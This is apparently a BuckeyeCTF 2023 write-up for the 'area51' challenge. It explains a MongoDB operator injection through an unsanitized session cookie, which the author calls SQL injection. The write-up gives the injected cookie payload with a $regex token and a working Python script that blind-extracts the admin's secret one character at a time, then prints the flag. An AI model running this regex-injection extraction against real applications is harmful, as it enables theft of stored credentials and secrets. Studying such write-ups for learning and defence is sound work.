- Published on
BuckeyeCTF 2023 – area51
- Authors
- Name
- Lumy
area51
Stuck on what to name your stray cat?
Table of Contents
Source code
The description gives us a zip file containg the source of the challenge : area51
Solution
Here is the code of the index.js containing the routes of the application :
import { Router } from 'express';
const router = Router();
import User from '../User.js';
router.get('/', (req, res) => {
var session = res.cookies.get("session");
if (session) {
session = JSON.parse(session);
var token = session.token
return User.find({
session: token
}).then((user) => {
if (user.length == 1) {
return res.render('dashboard');
}
return res.render('index');
})
.catch((e) => {
res.json({ message: 'Hm server errored'});
});
}
return res.render('index');
});
router.post('/api/login', (req, res) => {
let { username, password } = req.body;
if (username && password && typeof username === 'string' && typeof password === 'string') {
return User.find({
username,
password,
admin: false
})
.then((user) => {
if (user.length == 1) {
var new_session = {
token: user[0].session,
username: user[0].username
}
res.cookies.set("session", JSON.stringify(new_session));
if (user[0].admin) {
return res.json({logged: 1, message: `Success! Welcome back chief stormer.` });
} else {
return res.json({logged: 1, message: `Success, welcome back ${user[0].username}.` });
}
} else {
return res.json({logged: 0, message: 'Login failed :/'});
}
})
.catch((e) => {
return res.json({ message: 'Hm server errored'});
});
}
return res.json({ message: 'Login failed :/'});
});
export default router;
As there is typeof username === 'string' && typeof password === 'string'
it is not likely to have an SQL injection on the login section.
However, the vulnerability happens on the Get method in this code :
var session = res.cookies.get("session");
session = JSON.parse(session);
var token = session.token
return User.find({
session: token
}).then((user) => {
if (user.length == 1) {
return res.render('dashboard');
}
return res.render('index');
})
.catch((e) => {
res.json({ message: 'Hm server errored'});
});
The input is not sanitized and is directly put in the the SQL request.
This type of SQL injection is a blind injection : If the server reponds with the dashboard view, that's mean that it's a match and if it responds with the index, it is not a match.
Based on the init_users.js
and User.js
we can see that the flag is stored as a session variable in the user AlienAdmin class :
//init_user.js
db.users.insert( { username: "AlienAdmin", password: "***", admin: true, session: FLAG}, ... )
//User.js
let User = new mongoose.Schema({
username: {
type: String
},
password: {
type: String
},
admin: {
type: Boolean
},
session: {
type: String
}
})
Lets first connect with the a sample user from the init_user.js
to have the Cookie structure :
{'username': 'jumpyWidgeon1', 'password': 'nLZpSRV3W2AgcbzQ7sjMlIaAcnPx8e', 'admin': false, 'session': 'zbkWxcyqRMVuWGnYhzjTfinPe5bYht'}
Based on the Cookie retrived, here is the payload that we can use at first as we know that the flag is in the database :
Cookie: session={"token":{"$regex": "bctf{.*"}}
It's responds with the dashboard view so it's a match !
Using burpsuite with the intruder mode, we can bruteforce and get the good chars that will result with the dashboard view.
Generation of the payload :
import string
print(string.printable)
# Output : 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
Let's start the attack with all this to test if we can get the first char of the flag :
We can see that the t
will be the first char of the flag as the servers responds with the dashboard view.
As we are now sure of the vulnerability and the exploitation, Let's automate the process using python :
import requests
import json
url = "https://area51.chall.pwnoh.io/"
pwd = "bctf{"
finished = 0
while finished != 1:
for char in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}':
cookie_value = {
"token": {"$regex": pwd + char + ".*"}
}
# Convert the dictionary to a JSON string
cookie_value = json.dumps(cookie_value)
# Create a session with requests
session = requests.Session()
session.cookies.set("session", cookie_value)
response = session.get(url)
if "Pardon our dust" in response.text:
pwd += char
print(pwd)
if char == "}":
finished = 1
Flag : : bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GAy}